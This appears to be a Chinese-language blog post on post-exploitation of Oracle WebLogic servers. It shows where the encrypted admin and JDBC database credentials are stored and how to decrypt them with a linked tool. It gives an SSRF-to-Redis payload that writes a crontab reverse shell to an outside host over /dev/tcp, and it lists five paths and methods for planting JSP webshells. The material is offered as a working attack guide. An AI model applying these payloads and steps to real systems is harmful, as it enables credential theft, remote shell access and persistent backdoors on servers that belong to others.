Weblogic漏洞很容易挖,看看端口是否开放了7001,就可以拿工具一把梭了,目前仍然有很多的网站存在这种漏洞。渗透测试还好,点到为止,发现问题就好, 如果是攻防对抗什么的,我们就得深入一下目标,进行后渗透攻击,那么如何通过weblogic进行攻击呢~下面就简单的聊一聊
Weblogic密码破解
我们知道,Weblogic中的登录密码会以密文的形式存储在我们得服务器本地上,当我们通过漏洞扫描工具探测出目标存在Weblogic反序列化漏洞时,可以执行命令,我们就可以查看相关的信息,进行下一步攻击。具体的密文登录密码存储在下面的文件中。
文件名为:config.xml
文件路径为:
./config/config.xml
在./servers/AdminServer/security/boot.properties文件中也存在用户名和密码都会以密文的形式存储。获取密文后需要对加密后的密码进行解密,
解密文件位于./security/SerializedSystemIni.dat,我们可根据dat文件,配合刚才获取到的密码密文信息进行解密。
在config文件中的node-manager-username记录了webogic的用户名,node-manager-password为weblogic的密码,密码的加密方式为AES(老版本3DES)。下面的字符串就是具体的一个密文的类型:
<node-manager-username>weblogic</node-manager-username> <node-manager-password-encrypted>{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=</node-manager-password-encrypted> ...
这个时候我们用到的工具为Weblogic解密工具。下载地址如下:
链接:https://pan.baidu.com/s/1uodncq3uvm9skbh7n5mbLw 密码:lwtc
解压密码:www.je2se.com
点击选择文件,导入dat文件,在下面密文中输入在配置文件中的密文,点击解密即可。
后台服务渗透
连接数据库
weblogic后台常会有数据库连接,攻击者也会利用木马尝试连接内网中的数据库。文件名为:jdbc.xml
文件路径为:./config/jdbc/jdbc.xml
该文件夹内会有后台数据库的连接信息,例如数据库类型,连接方式,用户名和密码等等。密码破解方式同前文所述。示例:
<jdbc-driver-params> <url>jdbc:oracle:thin:@//192.168.120.156:1521/ORCL</url> <driver-name>oracle.jdbc.xa.client.OracleXADataSource</driver-name> <properties> <property> <name>user</name> <value>kzbigix</value> </property> </properties> <password-encrypted>{AES}mjwf4r94FDUh/UfaakINte5mMUYEX8LMKAkyTEtyusw=</password-encrypted> </jdbc-driver-params>
上传shell
当我们通过上面的方式获取到weblogic的密码之后我们尝试登录weblogic控制台,我们可配合weblogic的SSRF漏洞,
访问https://127.0.0.1/uddiexplorer
漏洞存在于:SearchPublicRegistries.jsp
点击Search Public
抓取数据包,随便输入一个参数
我们可以更改上图的operator,修改为127.0.0.1:7001,我们可以响应包的返回值判断是否开放,以下午为例,我们看到开放了6379端口
redis可以通过crontab的方式来获取shell:
并且redis是识别%0A%0D换⾏行行符的,所以反弹shell的payload即:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
翻译成人看的看一看:
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.19.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
然后建立监听,我们救火取到了目标的SHELL
各种通过weblogic上传webshell的方法
1.通过Java反序列列化获取shell,然后上传⾄至./servers/AdminServer/tmp/_WL_user/_appsdir_hello_war/hnt8u/war/shell.jsp,然后访问http://ip:7001/hello/shell.jsp(部署了了应⽤用)
2.通过Java反序列列化获取shell,然后上传./servers/AdminServer/tmp/_WL_internal/uddiexplorer/5f6ebw/war/shell.jsp,然后访问http://ip:7001/uddiexplorer/shell.jsp(开启了了uddiexplorer)
3.通过Java反序列列化获取shell,然后上传./servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp,然后访问http://ip:7001/bea_wls_internal/shell.jsp
4.通过Java反序列列化获取shell,然后上传/root/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/a.jsp,然后访问http://ip:7001/console/framework/skins/wlsconsole/images/a.jsp
5.通过部署war包的⽅方式:制作一个⽂文件夹,里面包含webshell test.jsp和简单的配置文件,然后打包重命名为test.war,之后访问web控制台,点击部署,上传test.war然后一直下一步,直到部署成功最后访问http://ip:7001/test/test.jsp
大概的就搞了这点,里面部分内容借鉴了哪位大佬。忘记是谁了~~
文章评论